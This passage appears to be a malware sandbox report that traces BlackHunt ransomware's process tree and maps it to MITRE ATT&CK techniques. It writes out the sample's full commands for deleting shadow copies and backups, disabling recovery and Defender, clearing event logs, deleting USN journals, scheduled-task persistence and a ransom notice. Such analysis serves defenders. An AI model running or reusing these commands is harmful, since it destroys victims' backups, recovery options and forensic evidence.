  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:7372
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:8384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe" /F
  2⤵
  PID:4960
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2932
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:3488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2024
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2552
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1708
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3408
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3496
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3044
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:7000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:3464
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:6372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:316
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:6404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4388
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:8676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:4932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:8140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:4008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:4864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:15116
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    PID:10156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:15344
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:16368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:5184
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    PID:8308
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 1464
      4⤵
      Program crash
      PID:8492
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe"
  2⤵
  PID:16144
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:9032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:1060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:5252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:6072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:6140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:6108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:8360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:16772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:10144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:6060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:10068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:7548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:5564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:15140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:17508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:14948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:14904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:4724

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
PID:3496

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:2956

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:3584

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:4940

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
PID:7016

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:2200
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:4392

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:3584

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:4976

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:7376

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:4464

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:2424

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:7612

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:4848

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:4520

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:4388

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:5020

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:1544

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:19012

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2472

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Modifies registry class
PID:868

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:628

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
1⤵
- Modifies registry class
PID:5084

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:7488

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:1644

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:13132

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:1604

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Setup
1⤵
- Clears Windows event logs
PID:15352

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security
1⤵
- Clears Windows event logs
PID:15864

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of WriteProcessMemory
PID:4864

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:17092

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
1⤵
PID:5140

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:6536

C:\Windows\system32\notepad.exe
notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
1⤵
PID:5572

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 8308 -ip 8308
1⤵
PID:6128

C:\Windows\system32\taskkill.exe
taskkill /IM mshta.exe /f
1⤵
- Kills process with taskkill
PID:9988

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
1⤵
PID:9304

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
1⤵
PID:6312

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
1⤵
PID:8288

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
1⤵
PID:6320

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security /e:false
1⤵
- Clears Windows event logs
PID:8084

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:2808

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:6552

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:16780

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Application
1⤵
- Clears Windows event logs
PID:15300

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D M:\
1⤵
PID:15144

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D C:\
1⤵
PID:12512

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D F:\
1⤵
PID:15068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery